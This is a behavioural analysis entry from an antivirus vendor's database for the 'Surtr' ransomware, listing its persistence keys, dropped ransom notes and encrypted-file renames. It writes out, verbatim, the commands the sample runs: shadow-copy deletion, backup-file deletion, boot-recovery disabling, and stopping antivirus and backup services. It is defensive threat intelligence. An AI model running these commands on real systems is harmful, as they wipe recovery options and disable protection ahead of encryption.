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Trojan.Encoder.34790

Added to the Dr.Web virus database: 2021-12-23

Virus description added:

Technical Information

To ensure autorun and distribution
Modifies the following registry keys
  • [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'svchos1' = '%ALLUSERSPROFILE%\Service\Surtr.exe'
  • [<HKCU>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'svchos2' = '%ALLUSERSPROFILE%\Service\Surtr.exe'
  • [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce] 'svchos3' = '%ALLUSERSPROFILE%\Service\Surtr.exe'
  • [<HKCU>\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce] 'svchos4' = '%ALLUSERSPROFILE%\Service\Surtr.exe'
Creates or modifies the following files
  • %APPDATA%\microsoft\windows\start menu\programs\startup\surtr_readme.hta
  • %APPDATA%\microsoft\windows\start menu\programs\startup\surtr_readme.txt
  • <SYSTEM32>\tasks\svchos1
  • <SYSTEM32>\tasks\svchos2
  • %APPDATA%\microsoft\windows\start menu\programs\startup\surtr.exe
Creates the following files on removable media
  • <Drive name for removable media>:\000814251_video_01.avi
  • <Drive name for removable media>:\february_catalogue__2015.doc
  • <Drive name for removable media>:\508softwareandos.doc
  • <Drive name for removable media>:\testee.cer
  • <Drive name for removable media>:\sdksampleprivdeveloper.cer
  • <Drive name for removable media>:\contosoroot_1.cer
  • <Drive name for removable media>:\sdkfailsafeemulator.cer
  • <Drive name for removable media>:\pmd.cer
  • <Drive name for removable media>:\weeklysheet1215.doc
  • <Drive name for removable media>:\sdksampleunprivdeveloper.cer
  • <Drive name for removable media>:\tileimage.bmp
  • <Drive name for removable media>:\dial.bmp
  • <Drive name for removable media>:\toolbar.bmp
  • <Drive name for removable media>:\dashborder_144.bmp
  • <Drive name for removable media>:\split.avi
  • <Drive name for removable media>:\join.avi
  • <Drive name for removable media>:\correct.avi
  • <Drive name for removable media>:\default.bmp
  • <Drive name for removable media>:\uep_form_786_bulletin_1726i602.doc
Malicious functions
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
  • Windows Task Manager (Taskmgr)
  • Windows Defender
blocks the following features:
  • System Restore (SR)
  • User Account Control (UAC)
modifies the following system settings:
  • [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'StartMenuLogOff' = '00000001'
  • [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoRun' = '00000001'
deletes volume shadow copies.
Executes the following
  • '<SYSTEM32>\net.exe' stop "Acronis VSS Provider"
  • '<SYSTEM32>\net.exe' stop "BackupExecAgentAccelerator"
  • '<SYSTEM32>\net.exe' stop "BackupExecAgentBrowser"
  • '<SYSTEM32>\net.exe' stop "BackupExecDeviceMediaService"
  • '<SYSTEM32>\net.exe' stop "BackupExecJobEngine"
  • '<SYSTEM32>\net.exe' stop "BackupExecManagementService"
  • '<SYSTEM32>\net.exe' stop "AcrSch2Svc"
  • '<SYSTEM32>\net.exe' stop "Antivirus"
  • '<SYSTEM32>\net.exe' stop "BackupExecRPCService"
  • '<SYSTEM32>\net.exe' stop "IISAdmin"
  • '<SYSTEM32>\net.exe' stop "IMAP4Svc"
  • '<SYSTEM32>\net.exe' stop "macmnsvc"
  • '<SYSTEM32>\net.exe' stop "masvc"
  • '<SYSTEM32>\net.exe' stop "MBAMService"
  • '<SYSTEM32>\net.exe' stop "BackupExecVSSProvider"
  • '<SYSTEM32>\net.exe' stop "EPSecurityService"
  • '<SYSTEM32>\net.exe' stop "AcronisAgent"
  • '<SYSTEM32>\net.exe' stop "Veeam Backup Catalog Data Service"
  • '<SYSTEM32>\net.exe' stop "Symantec System Recovery"
  • '<SYSTEM32>\net.exe' stop "Sophos Agent"
  • '<SYSTEM32>\net.exe' stop "Sophos AutoUpdate Service"
  • '<SYSTEM32>\net.exe' stop "Sophos Clean Service"
  • '<SYSTEM32>\net.exe' stop "Sophos Device Control Service"
  • '<SYSTEM32>\net.exe' stop "Sophos File Scanner Service"
  • '<SYSTEM32>\net.exe' stop "Sophos Health Service"
  • '<SYSTEM32>\net.exe' stop " Enterprise Client Service"
  • '<SYSTEM32>\net.exe' stop "Sophos MCS Agent"
  • '<SYSTEM32>\net.exe' stop "Sophos Message Router"
  • '<SYSTEM32>\net.exe' stop "Sophos Safestore Service"
  • '<SYSTEM32>\net.exe' stop "Sophos System Protection Service"
  • '<SYSTEM32>\net.exe' stop "Sophos Web Control Service"
  • '<SYSTEM32>\net.exe' stop "SQLsafe Backup Service"
  • '<SYSTEM32>\net.exe' stop "SQLsafe Filter Service"
  • '<SYSTEM32>\net.exe' stop "Sophos MCS Client"
  • '<SYSTEM32>\net.exe' stop "MBEndpointAgent"
  • '<SYSTEM32>\net.exe' stop "McAfeeEngineService"
Modifies file system
Creates the following files
  • %ALLUSERSPROFILE%\service\service.surt
  • C:\far2\encyclopedia\tap\surtr_readme.hta
  • C:\far2\documentation\private_data.surt
  • C:\far2\documentation\surtr_readme.txt
  • C:\far2\documentation\surtr_readme.hta
  • C:\far2\documentation\rus\private_data.surt
  • C:\far2\documentation\rus\surtr_readme.txt
  • C:\far2\documentation\rus\surtr_readme.hta
  • C:\far2\documentation\eng\private_data.surt
  • C:\far2\documentation\eng\surtr_readme.txt
  • C:\far2\documentation\eng\surtr_readme.hta
  • C:\far2\addons\private_data.surt
  • C:\far2\addons\surtr_readme.txt
  • C:\far2\addons\surtr_readme.hta
  • C:\far2\addons\xlat\private_data.surt
  • C:\far2\addons\xlat\surtr_readme.txt
  • C:\far2\addons\xlat\surtr_readme.hta
  • C:\far2\addons\xlat\russian\private_data.surt
  • C:\far2\encyclopedia\tap\surtr_readme.txt
  • C:\far2\encyclopedia\surtr_readme.hta
  • C:\far2\plugins\compare\surtr_readme.txt
  • C:\far2\encyclopedia\surtr_readme.txt
  • C:\far2\plugins\compare\surtr_readme.hta
  • C:\far2\plugins\brackets\private_data.surt
  • C:\far2\plugins\brackets\surtr_readme.txt
  • C:\far2\plugins\brackets\surtr_readme.hta
  • C:\far2\plugins\autowrap\private_data.surt
  • C:\far2\plugins\autowrap\surtr_readme.txt
  • C:\far2\plugins\autowrap\surtr_readme.hta
  • C:\far2\plugins\arclite\private_data.surt
  • C:\far2\plugins\arclite\surtr_readme.txt
  • C:\far2\plugins\arclite\surtr_readme.hta
  • C:\far2\plugins\align\private_data.surt
  • C:\far2\plugins\align\surtr_readme.txt
  • C:\far2\plugins\align\surtr_readme.hta
  • C:\far2\fexcept\private_data.surt
  • C:\far2\fexcept\surtr_readme.txt
  • C:\far2\fexcept\surtr_readme.hta
  • C:\far2\encyclopedia\private_data.surt
  • C:\far2\addons\xlat\russian\surtr_readme.txt
  • C:\far2\encyclopedia\tap\private_data.surt
  • C:\far2\addons\xlat\russian\surtr_readme.hta
  • %TEMP%\service\id_data.surt
  • %TEMP%\service\public_data.surt
  • %TEMP%\service\surtr.exe
  • %ALLUSERSPROFILE%\microsoft\windows\start menu\programs\startup\surtr_readme.txt
  • %ALLUSERSPROFILE%\microsoft\windows\start menu\programs\startup\surtr_readme.hta
  • <Current directory>\surtr_readme.txt
  • <Current directory>\surtr_readme.hta
  • %ALLUSERSPROFILE%\service\public_data.surt
  • %ALLUSERSPROFILE%\service\private_data.surt
  • %ALLUSERSPROFILE%\service\id_data.surt
  • %ALLUSERSPROFILE%\service\surtr.exe
  • %ALLUSERSPROFILE%\service\surtr_readme.txt
  • %ALLUSERSPROFILE%\service\surtr_readme.hta
  • <Current directory>\private_data.surt
  • <Current directory>\public_data.surt
  • <Current directory>\id_data.surt
  • %ALLUSERSPROFILE%\service\reg.surt
  • %ALLUSERSPROFILE%\service\bus.surt
  • %TEMP%\service\private_data.surt
  • %TEMP%\service\surtr_readme.hta
  • C:\far2\addons\shell\surtr_readme.txt
  • %TEMP%\service\surtr_readme.txt
  • C:\far2\addons\shell\surtr_readme.hta
  • C:\far2\addons\setup\private_data.surt
  • C:\far2\addons\setup\surtr_readme.txt
  • C:\far2\addons\setup\surtr_readme.hta
  • C:\far2\addons\macros\private_data.surt
  • C:\far2\addons\macros\surtr_readme.txt
  • C:\far2\addons\macros\surtr_readme.hta
  • C:\far2\addons\colors\private_data.surt
  • C:\far2\addons\colors\surtr_readme.txt
  • C:\far2\addons\colors\surtr_readme.hta
  • C:\documents and settings\private_data.surt
  • C:\documents and settings\surtr_readme.txt
  • C:\documents and settings\surtr_readme.hta
  • D:\private_data.surt
  • D:\surtr_readme.txt
  • D:\surtr_readme.hta
  • %ALLUSERSPROFILE%\microsoft\windows\start menu\programs\startup\surtr.exe
  • C:\far2\addons\shell\private_data.surt
  • C:\far2\plugins\compare\private_data.surt
Modifies the following files
  • D:\install.log.[johnd3crypt@gmail.com].surt
  • C:\far2\addons\colors\custom_highlighting\farcolors242.reg.[johnd3crypt@gmail.com].surt
  • C:\far2\addons\colors\custom_highlighting\dn_like.reg.[johnd3crypt@gmail.com].surt
  • <Drive name for removable media>:\weeklysheet1215.doc.[johnd3crypt@gmail.com].surt
  • C:\far2\addons\colors\custom_highlighting\descript.ion.[johnd3crypt@gmail.com].surt
  • C:\far2\addons\colors\custom_highlighting\colors_from_sadovoj.reg.[johnd3crypt@gmail.com].surt
  • <Drive name for removable media>:\february_catalogue__2015.doc.[johnd3crypt@gmail.com].surt
  • C:\far2\addons\colors\custom_highlighting\colors_from_gernichenko.reg.[johnd3crypt@gmail.com].surt
  • <Drive name for removable media>:\508softwareandos.doc.[johnd3crypt@gmail.com].surt
  • <Drive name for removable media>:\testee.cer.[johnd3crypt@gmail.com].surt
  • <Drive name for removable media>:\sdksampleprivdeveloper.cer.[johnd3crypt@gmail.com].surt
  • <Drive name for removable media>:\contosoroot_1.cer.[johnd3crypt@gmail.com].surt
  • <Drive name for removable media>:\sdkfailsafeemulator.cer.[johnd3crypt@gmail.com].surt
  • <Drive name for removable media>:\pmd.cer.[johnd3crypt@gmail.com].surt
  • <Drive name for removable media>:\sdksampleunprivdeveloper.cer.[johnd3crypt@gmail.com].surt
  • <Drive name for removable media>:\default.bmp.[johnd3crypt@gmail.com].surt
  • <Drive name for removable media>:\tileimage.bmp.[johnd3crypt@gmail.com].surt
  • <Drive name for removable media>:\dial.bmp.[johnd3crypt@gmail.com].surt
  • <Drive name for removable media>:\toolbar.bmp.[johnd3crypt@gmail.com].surt
  • <Drive name for removable media>:\dashborder_144.bmp.[johnd3crypt@gmail.com].surt
  • <Drive name for removable media>:\split.avi.[johnd3crypt@gmail.com].surt
  • C:\far2\addons\colors\custom_highlighting\colors_from_admin_essp_ru.reg.[johnd3crypt@gmail.com].surt
  • <Drive name for removable media>:\join.avi.[johnd3crypt@gmail.com].surt
  • C:\far2\addons\colors\custom_highlighting\black_from_myodov.reg.[johnd3crypt@gmail.com].surt
  • <Drive name for removable media>:\correct.avi.[johnd3crypt@gmail.com].surt
  • C:\far2\addons\colors\custom_highlighting\black_from_july.reg.[johnd3crypt@gmail.com].surt
  • <Drive name for removable media>:\000814251_video_01.avi.[johnd3crypt@gmail.com].surt
  • C:\far2\addons\colors\custom_highlighting\black_from_fonarev.reg.[johnd3crypt@gmail.com].surt
  • C:\far2\addons\colors\custom_highlighting\greenmile.reg.[johnd3crypt@gmail.com].surt
  • C:\far2\addons\colors\custom_highlighting\hell.reg.[johnd3crypt@gmail.com].surt
Modifies multiple files.
Network activity
Connects to
  • 'ip##pi.com':80
TCP
HTTP GET requests
  • http://ip###i.com:80/json/ via ip##pi.com
UDP
  • DNS ASK ip##pi.com
Miscellaneous
Executes the following
  • '<SYSTEM32>\cmd.exe' /c mkdir %ALLUSERSPROFILE%\Service
  • '<SYSTEM32>\cmd.exe' /c mkdir "%ALLUSERSPROFILE%\Service"
  • '<SYSTEM32>\cmd.exe' /c mkdir "%TEMP%\Service"
  • '<SYSTEM32>\cmd.exe' /c copy "%ALLUSERSPROFILE%\Microsoft\Windows\Start Menu\Programs\StartUp\SURTR_README.hta" "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\SURTR_README.hta"
  • '<SYSTEM32>\cmd.exe' /c net stop "Antivirus"
  • '<SYSTEM32>\cmd.exe' /c copy "%ALLUSERSPROFILE%\Microsoft\Windows\Start Menu\Programs\StartUp\SURTR_README.txt" "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\SURTR_README.txt"
  • '<SYSTEM32>\cmd.exe' /c copy "%ALLUSERSPROFILE%\Service\Surtr.exe" "%TEMP%\Service\Surtr.exe"
  • '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-System\{9580d7dd-0379-4658-9870-d5be7d52d6de} /v Enable /t REG_DWORD /d 0 /f
  • '<SYSTEM32>\net1.exe' stop "AcrSch2Svc"
  • '<SYSTEM32>\net1.exe' stop "Antivirus"
  • '<SYSTEM32>\cmd.exe' /c net stop "BackupExecAgentAccelerator"
  • '<SYSTEM32>\cmd.exe' /c copy "%ALLUSERSPROFILE%\Service\ID_DATA.surt" "%TEMP%\Service\ID_DATA.surt"
  • '<SYSTEM32>\cmd.exe' /c copy "%ALLUSERSPROFILE%\Service\SURTR_README.hta" "%TEMP%\Service\SURTR_README.hta"
  • '<SYSTEM32>\net1.exe' stop "BackupExecAgentAccelerator"
  • '<SYSTEM32>\cmd.exe' /c copy "%ALLUSERSPROFILE%\Service\SURTR_README.txt" "%TEMP%\Service\SURTR_README.txt"
  • '<SYSTEM32>\cmd.exe' /c attrib +R /S "%ALLUSERSPROFILE%\Service"
  • '<SYSTEM32>\cmd.exe' /c copy "%ALLUSERSPROFILE%\Service\Public_DATA.surt" "%TEMP%\Service\Public_DATA.surt"
  • '<SYSTEM32>\cmd.exe' /c copy "%ALLUSERSPROFILE%\Service\Private_DATA.surt" "%TEMP%\Service\Private_DATA.surt"
  • '<SYSTEM32>\cmd.exe' /c net stop "AcrSch2Svc"
  • '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoRunNowBackup /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\attrib.exe' +R /S "%ALLUSERSPROFILE%\Service"
  • '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v OnlySystemBackup /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\cmd.exe' /c net stop "Symantec System Recovery"
  • '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v OnlySystemBackup /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\net1.exe' stop "Symantec System Recovery"
  • '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToDisk /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToDisk /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\cmd.exe' /c net stop "Veeam Backup Catalog Data Service"
  • '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToNetwork /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToNetwork /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\net1.exe' stop "Veeam Backup Catalog Data Service"
  • '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToOptical /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoBackupToOptical /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\cmd.exe' /c net stop "AcronisAgent"
  • '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Server /v NoRunNowBackup /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\net1.exe' stop "AcronisAgent"
  • '<SYSTEM32>\cmd.exe' /c net stop "BackupExecAgentBrowser"
  • '<SYSTEM32>\net1.exe' stop "SQLsafe Filter Service"
  • '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-System\{9580d7dd-0379-4658-9870-d5be7d52d6de} /v Enable /t REG_DWORD /d 0 /f
  • '<SYSTEM32>\cmd.exe' /c net stop "Sophos Safestore Service"
  • '<SYSTEM32>\net1.exe' stop "BackupExecAgentBrowser"
  • '<SYSTEM32>\cmd.exe' /c net stop "macmnsvc"
  • '<SYSTEM32>\net1.exe' stop "macmnsvc"
  • '<SYSTEM32>\cmd.exe' /c net stop "masvc"
  • '<SYSTEM32>\net1.exe' stop "masvc"
  • '<SYSTEM32>\cmd.exe' /c copy "%ALLUSERSPROFILE%\Service\Surtr.exe" "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\Surtr.exe"
  • '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "svchos1" /t REG_SZ /d %ALLUSERSPROFILE%\Service\Surtr.exe /f
  • '<SYSTEM32>\cmd.exe' /c net stop "MBAMService"
  • '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "svchos1" /t REG_SZ /d %ALLUSERSPROFILE%\Service\Surtr.exe /f
  • '<SYSTEM32>\net1.exe' stop "MBAMService"
  • '<SYSTEM32>\cmd.exe' /c reg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "svchos2" /t REG_SZ /d %ALLUSERSPROFILE%\Service\Surtr.exe /f
  • '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "svchos2" /t REG_SZ /d %ALLUSERSPROFILE%\Service\Surtr.exe /f
  • '<SYSTEM32>\cmd.exe' /c net stop "MBEndpointAgent"
  • '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ /v "svchos3" /t REG_SZ /d %ALLUSERSPROFILE%\Service\Surtr.exe /f
  • '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ /v "svchos3" /t REG_SZ /d %ALLUSERSPROFILE%\Service\Surtr.exe /f
  • '<SYSTEM32>\net1.exe' stop "MBEndpointAgent"
  • '<SYSTEM32>\cmd.exe' /c reg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ /v "svchos4" /t REG_SZ /d %ALLUSERSPROFILE%\Service\Surtr.exe /f
  • '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ /v "svchos4" /t REG_SZ /d %ALLUSERSPROFILE%\Service\Surtr.exe /f
  • '<SYSTEM32>\net1.exe' stop "IMAP4Svc"
  • '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableSystemBackupUI /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableSystemBackupUI /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\net1.exe' stop "IISAdmin"
  • '<SYSTEM32>\net1.exe' stop "BackupExecDeviceMediaService"
  • '<SYSTEM32>\cmd.exe' /c attrib +R /S "%TEMP%\Service"
  • '<SYSTEM32>\cmd.exe' /c net stop "BackupExecJobEngine"
  • '<SYSTEM32>\attrib.exe' +R /S "%TEMP%\Service"
  • '<SYSTEM32>\net1.exe' stop "BackupExecJobEngine"
  • '<SYSTEM32>\cmd.exe' /c schtasks /CREATE /SC ONLOGON /TN svchos1 /TR "%ALLUSERSPROFILE%\Service\Surtr.exe" /RU SYSTEM /RL HIGHEST /F
  • '<SYSTEM32>\cmd.exe' /c net stop "BackupExecManagementService"
  • '<SYSTEM32>\schtasks.exe' /CREATE /SC ONLOGON /TN svchos1 /TR "%ALLUSERSPROFILE%\Service\Surtr.exe" /RU SYSTEM /RL HIGHEST /F
  • '<SYSTEM32>\net1.exe' stop "BackupExecManagementService"
  • '<SYSTEM32>\cmd.exe' /c net stop "BackupExecRPCService"
  • '<SYSTEM32>\net1.exe' stop "BackupExecRPCService"
  • '<SYSTEM32>\cmd.exe' /c net stop "BackupExecVSSProvider"
  • '<SYSTEM32>\net1.exe' stop "BackupExecVSSProvider"
  • '<SYSTEM32>\cmd.exe' /c net stop "EPSecurityService"
  • '<SYSTEM32>\net1.exe' stop "EPSecurityService"
  • '<SYSTEM32>\cmd.exe' /c net stop "IISAdmin"
  • '<SYSTEM32>\cmd.exe' /c schtasks /CREATE /SC ONLOGON /TN svchos2 /TR "%ALLUSERSPROFILE%\Service\Surtr.exe" /F
  • '<SYSTEM32>\schtasks.exe' /CREATE /SC ONLOGON /TN svchos2 /TR "%ALLUSERSPROFILE%\Service\Surtr.exe" /F
  • '<SYSTEM32>\cmd.exe' /c net stop "BackupExecDeviceMediaService"
  • '<SYSTEM32>\cmd.exe' /c net stop "SQLsafe Filter Service"
  • '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupUI /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupUI /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLinkedConnections /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\net1.exe' stop "Sophos Clean Service"
  • '<SYSTEM32>\cmd.exe' /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\cmd.exe' /c net stop "Sophos Device Control Service"
  • '<SYSTEM32>\cmd.exe' /c del /s /f /q C:\*.bac C:\*.bak C:\*.bkf C:\Backup*.* C:\Backup*.*
  • '<SYSTEM32>\cmd.exe' /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\net1.exe' stop "Sophos Device Control Service"
  • '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\System /v AllowBlockingAppsAtShutdown /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\System /v AllowBlockingAppsAtShutdown /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\cmd.exe' /c net stop "Sophos File Scanner Service"
  • '<SYSTEM32>\cmd.exe' /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v StartMenuLogOff /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\net1.exe' stop "Sophos File Scanner Service"
  • '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v StartMenuLogOff /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
  • '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
  • '<SYSTEM32>\cmd.exe' /c net stop "Sophos Clean Service"
  • '<SYSTEM32>\cmd.exe' /c net stop "McAfeeEngineService"
  • '<SYSTEM32>\cmd.exe' /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\cmd.exe' /c net stop "Sophos AutoUpdate Service"
  • '<SYSTEM32>\cmd.exe' /c chcp 437
  • '<SYSTEM32>\chcp.com' 437
  • '<SYSTEM32>\cmd.exe' /c net stop "Acronis VSS Provider"
  • '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  • '<SYSTEM32>\cmd.exe' /c vssadmin Delete Shadows /all /quiet
  • '<SYSTEM32>\vssadmin.exe' resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  • '<SYSTEM32>\net1.exe' stop "Acronis VSS Provider"
  • '<SYSTEM32>\cmd.exe' /c @echo off
  • '<SYSTEM32>\cmd.exe' /c net stop " Enterprise Client Service"
  • '<SYSTEM32>\cmd.exe' /c net stop "Sophos Agent"
  • '<SYSTEM32>\cmd.exe' /c bcdedit /set {default} recoveryenabled No
  • '<SYSTEM32>\cmd.exe' /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  • '<SYSTEM32>\vssadmin.exe' resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  • '<SYSTEM32>\net1.exe' stop "Sophos Agent"
  • '<SYSTEM32>\cmd.exe' /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  • '<SYSTEM32>\bcdedit.exe' /set {default} bootstatuspolicy IgnoreAllFailures
  • '<SYSTEM32>\net1.exe' stop " Enterprise Client Service"
  • '<SYSTEM32>\net1.exe' stop "Sophos AutoUpdate Service"
  • '<SYSTEM32>\cmd.exe' /c net stop "IMAP4Svc"
  • '<SYSTEM32>\cmd.exe' /c net stop "Sophos Health Service"
  • '<SYSTEM32>\cmd.exe' /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableChangePassword /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToDisk /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToDisk /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\cmd.exe' /c net stop "Sophos System Protection Service"
  • '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToNetwork /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\net1.exe' stop "Sophos System Protection Service"
  • '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToNetwork /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToOptical /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\cmd.exe' /c net stop "Sophos Web Control Service"
  • '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToOptical /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\net1.exe' stop "Sophos Web Control Service"
  • '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupLauncher /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupLauncher /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\cmd.exe' /c net stop "SQLsafe Backup Service"
  • '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableRestoreUI /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableRestoreUI /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\net1.exe' stop "SQLsafe Backup Service"
  • '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\net1.exe' stop "Sophos Safestore Service"
  • '<SYSTEM32>\net1.exe' stop "Sophos Health Service"
  • '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLinkedConnections /t REG_DWORD /d 1 /f
